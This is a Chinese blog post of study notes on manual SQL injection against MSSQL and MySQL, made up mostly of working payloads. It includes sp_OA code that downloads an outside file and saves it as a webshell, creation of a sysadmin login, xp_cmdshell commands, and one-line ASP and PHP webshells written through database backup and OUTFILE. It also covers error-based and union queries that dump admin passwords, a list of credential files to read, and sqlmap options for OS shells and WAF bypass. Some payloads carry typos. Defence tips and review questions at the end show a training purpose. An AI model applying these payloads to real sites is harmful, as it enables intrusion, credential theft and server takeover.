OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate  [ADODB.Stream],@down
output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC
[hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -

即可下载文件“http://www.test.con/test.txt”的内容到

“c:\inetpub\wwwroot\WebShell.asp"成功写入一个WebShell.

 sp_addlogin扩展管理数据库用户

如果要添加和删除一个sa权限的数据库用户,可执行如下查询。

exec master.dbo.sp_addlogin test,password

exec masterdbo.sp_addsrvrolemember test,sysadmin

 xp_servicecontrol管理服务

要停掉或激活某个服务,可利用xp_servicecontrol扩展执行查询。

;exec master..xp_servicecontrol 'stop','schedule'

;exec master..xp_servicecontrol 'start','schedule'

;exec master..xp servicecontrol 'start','server'

此外,通过扩展存储,还可以进行差异备份写入WebShell,设置数据库允许远程连接等各种危险的操作。

dbowner权限下的扩展攻击利用

当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,需要找到WEB的路径,然后用差异备份的方式得到webshell进行攻击的过程比较烦琐。

当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录然后利用SQL语句创建一个临时表,插入一句话木马到临时表中然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门得到WebShell后就可以控制整个服务器了

判断数据库用户权限

首先,需要判断当前数据库用户是否为db_owner权限。

在注入点后执行如下查询。

and 1=(SELECT IS_MEMBER('db_owner'));--

如果页面返回正常,说明的确是db_owner权限。

搜索Web目录

Web服务器与数据库在同一服务器主机上时,就可以备份一句话木马到Web目录了。但是在备份一句话木马前,首先需要搜索Web目录,可通过如下几个步骤实现

1、通过报错或者baidu、google搜索

2、通过相关语句

先用备份系统目录文件到数据库的方式进行web目录查询(同时也进行了原始备份)。

首先,执行如下查询,创建一个临时table,

;drop table black;create table temp(dir varchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--

该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。

然后执行如下查询。

;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--

利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。

再执行如下查询。

and (select dir from temp where id=1)>0

语句是查询临时表中的内容,也就是指定的目录文件和文件夹名。由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹来。

通过此方法,可以遍历所有盘符,从而找到Web目录路径。

同理,也可以使用下列扩展查询:

drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--

获取数据库用户名

直接输入如下:

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =0--

写入一句话木马

找到Web目录后,就可以写入一句话木马了。

将一句话木马写入临时table,然后将临时table备份到web目录下生成后门文件

在注入点后依次执行如下语句。

http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

或者:

 

master..xp_cmd%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--

执行完毕后,就会在指定的Web目录下生成一个名为“yjh.asp”的后门文件,用一句话木马客户端连接即可得到WebShell.

MsSQL注入猜解数据库技术

如果权限足够,利用MsSQL数据库的特性,是可以很轻易地入侵控制网站服务器的。但是很多时候注入点不一定能够执行存储过程,或者连接数据库的用户权限不够,那么就得像Access数据库那样猜解管理员表的字段、内容,进入后台想办法拿WebShell。

havinggroup by查询爆表名和字段名

在注入点地址后提交“having 1=1--",从返回的错误信息中即可得到当前表名与第一个字段名。再继续提交以下代码。

group by   字段名 1 having  1-1--

从页面返回的错误信息中,即可得知第二个字段名。继续提交以下代码。

group by 字段名1,字段名2 having 1=1--

返回第三个字段名。继续提交以下代码。

group by 字段名1,字段名2,字段名3…字段名n having 1=1--

直到页面返回正常信息,即可得到所有的字段名。

order by与数据类型转换爆错法

如果MsSQL数据库打开了错误回显,那么可以通过MsSQL数据库的返回信息爆出所有数据库信息。此方法非常强大,可获得所有数据库名、任意表和字段的名称、内容。

爆所有数据库名

可直接在注入地址处提交如下查询语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =0--

从返回的出错信息中即可获得当前数据库名。要爆所有的数据库名,可以使用如下查询语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name(3)>0--

当数字n为1时,即可得到第一个数据库名,n为2时可得到第二个数据库名。通过增加n的值,可以遍历出所有的数据库名称。

另外,也可以在注入点后提交如下语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%203%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--

爆当前库中的所有表与跨库爆表

在注入点后提交如下查询语句。

http://192.168.0.102/sqlserver/1.aspx?xxser=1%20and%20(select%20cast(count(1)%20as%20varchar(10))%2bchar(94)%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1)=1--

即可爆出当前数据库中全部表的数目。

http://192.168.1.55/sqlserver/1.aspx?xxser=1%20and%20(select%20top%201%20cast%20(name%20as%20varchar(256))%20from(select%20top%202%20id,name%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1%20order%20by%20id)t%20order%20by%20id%20desc)=1--

and(select top 1 cast (name as varchar(256)) from(select top 数字n id,name from [sysobjects] where xtype=char(85) and status! =0 order by id)t order by id desc)=0--

递增上面查询语句中的数字n,就可以遍历出当前数据库中的所有表名。

如果要爆出任意数据库中的表名,则可提交如下查询语句。

http://192.168.0.102/sqlserver/1.aspx?xxser=1 and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 1 name from testdb.dbo.sysobjects where xtype=0x7500))--

递增上面查询语句中的数字n,就可以遍历出指定数据库中的所有表名。

爆所有字段名

获得表名后,就可以爆表中的字段名了。首先,提交如下查询语句。

nd (select top 1 cast (id as nvarchar (20)) %2bchar(124) from [库名]..[sysobjects] where name='表名 ') =0--

可以爆出指定表的dbid值,根据表的dbid值才能定位到表中的字段。提交如下查询语句。

and(select cast(count(1) as varchar (10)) %2bchar (94) from[库名]..[syscolumns] where id=dbid 值)=0--

可以爆出得到字段列名数目,然后提交如下查询语句

and (select top 1 cast(name as varchar(8000)) from (select top n colid,name from [库名]..[syacolumns] where id=dbid 值 order by colid) t order by colid desc)=0--

通过递增n的值,就可以得到所有字段名。

快速查询包含管理员账号的表名及字段名

对于MsSQL数据库,其中往往有许多数据内容,一个一个地爆字段太麻烦了,通常要快速找到包含管理员账号的表名和字段名,可以查询包含" user”或“pass”之类关键字的表名和字段名。选择关键字后,提交如下查询。

and (select top 1 t_name%2bchar(124)%2bc_name from (select top 20 object_name(id) as t_name, name as c_name  from syscolumns where charindEx(cast(关键字十六进制 as varchar (2000)),name)>O and left (name, 1)!=0x40 order by t_name asc) as T order by t_name desc) >0--

从返回信息中,即可得到包含关键字的表名和字段名了。

爆字段内容

首先,要爆出列的总数目,提交如下语句。

and  (select cast (count (1) as varchar (8000) ) %2bchar(94)from[库名]..[表名]where 1=1) >0--

即可从返回信息中查看到字段的记录数目。然后就可以开始爆指定字段的值了,提交如下语句。

and  (select  top  1  isnull(cast([字段1 as nvarchar(4000)),char(32))%2bchar(94)%2bisnull (cast ([字段 2 ] as nvarchar (4000)),char(32))  from [表名] where 1=1 order by [字段1])=O--

可得到第一个数据内容,再提交如下语句.

and (select top 1 isnull(cast([字段1] as nvarchar(4000)),char(32))%2bchar(94)%2bisnull (cast ([字段2] as  nvarchar(4000)),char(32)) from [表名] where 1=1 and name not in (select top n name from [表名]) where 1=1 order by [字段1]))=0--

通过递增n的值,就可以得到其他字段记录内容了。

查询爆库的另一种方法

MsSQL的查询语句非常灵活,因此还有下面一种爆出数据库内容的方法。

获取当前网站数据库名称
and db_name()=0--
爆所有数据库名和路径
%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--

在注入点后提交如下查询语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=(select name from master.dbo.sysdatabases where dbid=1)--

爆出当前数据库中的所有表

在注入点后提交如下查询语句。

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

http://192.168.1.55/sqlserver/1.aspx?xxser=1%20and%20(select%20top%201%20name%20from%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=0X75%20order%20by%20name)%20t%20order%20by%20name%20desc)=0

 

其中0X75是u的十六进制,增加n数字的值,就可以爆出当前数据库的所有表名了。

如果要跨库查询其他数据库的表名,则可提交如下查询语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1and (select top 1 name from (select top n name from 数据库名..sysobjects where xtype=0X75 order by name) t order by name desc)=0

增加n数字的值,就可以爆出指定数据库的所有表名了。

爆字段名及字段值

知道了表名,可以进一步获取数据库表里面的内容了。在注入点处提交如下语句

http://192.168.1.55/sqlserver/1.aspx?xxser=1and (select col_name(object_id('表名'),n))=0

 

增加数字n的值,就可以得到表中所有字段名。

要获取字段内容可提交如下语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1and (select top 1 字段名 from 表名)>0

 

得到第一个字段值后,再提交如下语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1and (select top 1 字段名 from 表名 where 字段名<>字段值1)>0

即可爆出其他字段值。

ps:也可以如下操作:

爆表名及字段名

having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--

获取字段内容

/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

 mysql数据库手工注入查询

mysql4与5区别

MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。
首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。

MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析

通过dumpfile/outfile函数导出获取WebShell。

或直接获取数据库连接账号、密码。

mysql用户名密码存储位置

数据库最高权限用户是root

密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,但是可以通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.

所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。

mysql获取webshell的过程

获取webshell的前提

首先,需要知道远程目标文件的路径

远程目标需要有写入权限

mysql配置文件my.ini或者my.cnf需要开启secure_file_priv.相当于secure_file_priv的值为0

获取web路径的方法

loadfile()函数可以直接列出FReedBSD等*inux系统的根目录下的文件目录

也可以直接通过在注入点输入'单引号或者错误函数使服务端抱回错误信息,根据错误信息提取一些配置文件的路径

直接使用默认配置文件

也可以通过谷歌搜索

loadfile()读取文件

load file()函数直接下载读取文本类型配置文件。例如:

union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit

load file()函数读取二进制文件
由于浏览器编码不能完全显示二进制编码文件,因此需要使用hex()函数将load_file()函数读出的二进制文件转为十六进制显示在网页上。再将网页中显示的十六进制代码复制到本地后,通过转换成二进制文件,才能加以利用。例如:

%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit  路径记得转化为十六进制(同样的有各种特殊符号,和宽字节也需要转化为十六进制)
union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit
ps;常见的配置文件

常见的windows下的配置文件:

c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

常见的Linux/unix下的配置文件:

 

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

写webshell获取权限:

union select "<?php @eval($_POST['123']);?>",2 into outfile "c:\\php\\htdocs\\123.php"+--+&Submit=Submit

MySQL数据库sql注入查询技术

union select查询注入技术

MsSQL注入的union select查询与Access数据库注入类似,但在具体的查询语句有所不同。

null替换查询

首先,用order by检测出字段数目,然后进行以下union select查询。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 order by 1 //正常页面

http://192.168.1.55/sqlserver/1.aspx?xxser=1 order by 3  //正常页面

http://192.168.1.55/sqlserver/1.aspx?xxser=1 order by 4  //报错页面

 

通过上图可以知道当前数据库有3个字段。接着利用union联合查询把这3个数字替换为null确认,语法如下:

and 1=2 union all select null,null,null,null,......from 当前表名

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=1 union all select null,null,null from sysobjects

 

 

在上面的语句中,字段数目为几就加几个null进行联合查询。由于null可代表字符或数字类型.因此不会出现数据类型转换出错提示。

确认数据类型

 

如果页面返回正常,则将null逐个用数字替换,提交以下语句。

and 1=2 union all select 1,null,null,null,......from 当前表名

and 1=2 union all select 1,2,null,null,......from 当前表名

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1and1=1unionallselect1,2,null fromsysobjects

 

 

在替换的过程中,返回页面提示数据类型出错,则说明该位置处的数据类型为文字text,将相应的数字处修改为任意字符,如'text',并继续进行替换。

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1and1=1unionallselect 1,'text',null fromsysobjects

 

 

再进行提交链接:

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1and1=1unionallselect 1,'text',3 fromsysobjects  //页面正常,说明只有字段2位置处查询数据类型号为text。如图:

 

 

查询所有数据库名

现在我们将text内容替换成要查询的数据库内容,先来查询数据库名,代码如下:

(select name from master.dbo.sysdatabases where dbid=1)

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1and1=2unionallselect 1,(select name from master.dbo.sysdatabases where dbid=1),3 fromsysobjects

增加上面查询语句中的bdid的值,就可以获取数据库列表中的所有数据库名。但在我的mssql2005数据库中好像IE没有回显,但执行已成功,就是不显示出来,这应是我的测试代码有些小问题或是MSsql2005当前版本缺少一些组件.下面以数据库里面演示为例,如图:

查询数据库中的所有表

将数字或字符处替换成如下代码。

(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)

或者

(select top 1 name from sysobjects where xtype=0x75 and name not in(select top n name from sysobjects where xtype=0x75))

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1and1=2unionallselect 1,(select top 1 name from (select top 1 name from sysobjects where xtype=0x75 order by name) t order by name desc),3fromsysobjects

其中0x75是u的十六进制,增加n数字的值,就可以得到当前数据库的所有表名。

如果要跨库查询其他数据库的表名,则可替换为如下代码。

(select top 1 name from (select top n name from 数据库..sysobjects where xtype=0x75 order by name) t order by name desc)

或者

(select top 1 name from [数据库名]..sysobjects where xtype=’u’ and name not in(select top n name from[数据库名] sysobjects where xtype=’u’))

增加n数字的值,就可以查询指定数据库的所有表名了。

查询字段名及字段值

将数字或字符处替换成如下。

(select col_name(object_id('表名'),n))

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=2 union all select 1,(select col_name(object_id('admin'),1)),3 from sysobjects

 

增加数字n的值,就可以得到表中的所有字段名了。

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=2 union all select 1,(select col_name(object_id('admin'),2)),3 from sysobjects

要获取字段内容,可将数字或字符处替换为如下。

(selcet top 1 字段名 from 表名)

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=2 union all select 1,(select top 1 name from admin),3 from sysobjects 

 

 

 

得到第一个字段值后,再提交下面的代码

(selcet top 1 字段名 from 表名 where 字段名<>字段值1)

例如:http://192.168.1.55/sqlserver/1.aspx?xxser=1and 1=2 union all select 1,(select top 1 passWord from admin where name='yuan'),3 from sysobjects  

 

 

如果想同时返回用户名与密码,可以提交如下:

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=2 union all select 1,(select top 1 isnull(cast([name] as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast ([password] as nvarchar(100)),char(32)) from [admin]),3 from sysobjects  

接着再提交如下查询,就可以查询第二个用户名及密码。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=2 union all select 1,(select top 1 isnull(cast([name] as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast ([password] as nvarchar(100)),char(32)) from [admin]),where 1=1 and name not in(select top 1 name from admin)),3 from sysobjects  

 sqlmapSQL注入工具使用方式

sqlmap安装

sqlmap只支持2.7.9版本。先安装好python.exe然后再进行sqlmap安装

sqlmap使用前提

虽然是智能化的神器,但是需要手工判断url是否注入点。例如单引号或者or 1=1,or 1=2方式

sqlmap重要参数

-r 指定参数post注入 sqlmap.py -r post.txt -p 注入参数

-u 指定参数get注入

--level=LEVEL     执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。

--risk=RISK       执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试

-v            ERBOSE信息级别:0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

-p          后面接参数,针对单个参数进行注入

-threads       调线程数,(调节测试速度)

-batch-smart    智能判断测试

--mobile      模拟测试手机环境站点

-m        批量注入,后跟写有多个注入点的文件路径

注入获取数据命令

--dbs          //默认情况sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2

--current-user    大多数数据库中可检测到数据库管理系统当前用户

--current-db     当前连接数据库名

--is-dba       判断当前用户是否为管理

--users        列出数据库所有用户

获取表名      --tables

字段名       --columns

数据内容      -D -T  表名 -C 字段名1,字段名 --dump

系统交互的shell   --os-shell

写webshell        --file-write "c:/1.txt” --file-dest “C:/php/htdocs/sql.php” -v1    /*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/

sqlmap过waf     --tamper“”(宽字节可以绕过魔术符号)

注入防御

使用if(){}等语句对客户端输入的参数和函数进行严格过滤。

也可以直接从网上下载相关防范注入的脚本文件,通过incloud包含在网站配置文件中

PDO 只会把拼接sql语句当做参数传入数据库,不执行!!!!!

也可以装载waf,安全狗......等等web防火墙

LINQ防御

 小结

注入攻击原理是什么?如何找注入点?如何判断注入点?

2、注入分为几类及提交方式是什么

3、注入攻击一般所支持的类型有那些

4、mysql数据库帐号和密码存放在那个库和表里面

5、如何寻找网站物理路径 

6、分别写出mysql及mssql数据库写入webshell的方法

mssql:当前用户sa权限时,直接获取cmdshell,开启3389远程控制了。dbowner权限时,使用差异备份的方式写入一句话木马获取webshell。

mysql:获取webshell关键点在于loadfiel()函数。先获取远程文件目录路径,然后确认其有写入权限且开启了secure_fiel_priv值为0.然后就可以loadfile读取文件了(读取二进制文件或者路径中有宽字节或者特殊符号的文件时要转化为十六进制)。然后就是dumpfile(),outfile()写webshell获取权限。

7、请说出mysql5.0以下与5.0以上的区别

8、sql注入对服务器文件读写操作需要那些条件

9、注入分为那几类
10、注入提交方式有那些
11、分别说出sqlmap -u -r -v -p --level --risk --tables --columns -T --tamper参数的含义

-v erbose信息的级别。具体值含义:0级只显示Python错误以及严重的信息。1,显示一般错误信息及警告信息。2,显示debug信息。3,同时显示输入的payload信息(查看payload最好的级别)。4,将同时显示http请求。5,同时显示http响应头。6,同时显示同时显示http响应页面。

 

12、注入漏洞防范方法

 使用if(){}等脚本语句对客户段输入的参数和函数进行严格过滤

使用PDO 不论客户段输入什么,都会被平滑地当做参数传入数据库而不执行

也可以在网上直接下载相关防注入脚本文件,然后将其include在web网站的配置文件中。 

也可以为web服务器装载waf,安全狗等web防火墙。

 

 

posted @ 2020-11-10 17:04  子墨·咖啡  阅读(24)  评论(0)    收藏  举报